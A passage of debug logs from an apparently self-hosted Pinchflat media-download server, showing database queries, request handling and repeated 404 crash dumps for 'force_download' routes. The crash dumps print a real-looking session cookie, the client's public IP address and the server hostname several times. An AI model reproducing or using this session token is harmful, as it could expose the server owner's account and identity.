"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/482073/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guLyyiG6q87AAC6Di"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33164}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33164}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163644.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], (truncated) 18:56:13.695 [debug] QUERY OK source="tasks" db=0.1ms idle=9.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [482073] 18:56:13.695 [debug] QUERY OK source="sources" db=0.3ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.695 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=3.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [16832] 18:56:13.696 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.696 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.696 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.697 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.698 [info] Sent 200 in 4ms 18:56:13.702 [info] GET /media/11499815-12e6-4334-9a37-d1f4d963efe1/stream 18:56:13.702 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "11499815-12e6-4334-9a37-d1f4d963efe1", "v" => "1787045354"} Pipelines: [:maybe_basic_auth] 18:56:13.703 [debug] QUERY OK source="media_items" db=0.1ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["11499815-12e6-4334-9a37-d1f4d963efe1"] 18:56:13.703 [debug] Invalid range request for media item: 11499815-12e6-4334-9a37-d1f4d963efe1 - serving full file 18:56:13.703 [info] Sent 200 in 661µs 18:56:13.760 [info] GET /sources/2/media/366904/edit 18:56:13.761 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "366904", "source_id" => "2"} Pipelines: [:browser] 18:56:13.761 [debug] QUERY OK source="media_items" db=0.1ms idle=65.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 18:56:13.761 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=65.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.762 [debug] QUERY OK source="settings" db=0.0ms idle=65.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.762 [debug] QUERY OK source="settings" db=0.1ms idle=65.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.763 [info] Sent 200 in 2ms 18:56:13.765 [info] GET /sources/2/media/366904/force_download 18:56:13.765 [debug] QUERY OK source="settings" db=0.0ms idle=62.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.765 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.765 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:13.766 [info] GET /sources/2/media/366904 18:56:13.766 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "366904", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:56:13.767 [debug] QUERY OK source="media_items" db=0.1ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [366904] 18:56:13.767 [info] GET /media/52f93c84-6f35-414a-81e3-f8badefbfdf0/stream 18:56:13.767 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "52f93c84-6f35-414a-81e3-f8badefbfdf0", "v" => "1784945245"} Pipelines: [:maybe_basic_auth] 18:56:13.767 [debug] QUERY OK source="tasks" db=0.2ms idle=4.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [366904] 18:56:13.768 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["52f93c84-6f35-414a-81e3-f8badefbfdf0"] 18:56:13.768 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.765 [error] #PID<0.163655.0> running PinchflatWeb.Endpoint (connection #PID<0.163654.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/366904/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163654.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33186}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163655.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/366904/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guMEM1VGme3sAFrZh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163654.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33186}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163654.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33186}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163655.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], (truncated) 18:56:13.768 [debug] Invalid range request for media item: 52f93c84-6f35-414a-81e3-f8badefbfdf0 - serving full file 18:56:13.768 [info] Sent 200 in 941µs 18:56:13.768 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=2.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [13037, 13319] 18:56:13.769 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.770 [debug] QUERY OK source="settings" db=1.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.771 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.771 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.773 [info] Sent 200 in 6ms 18:56:13.792 [info] GET /sources/2/media/482073/force_download 18:56:13.793 [info] GET /download_logs 18:56:13.793 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 18:56:13.793 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.793 [info] Sent 200 in 485µs 18:56:13.793 [debug] QUERY OK source="settings" db=0.1ms idle=24.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.794 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:13.794 [error] #PID<0.163665.0> running PinchflatWeb.Endpoint (connection #PID<0.163663.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/482073/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33204}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163665.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, 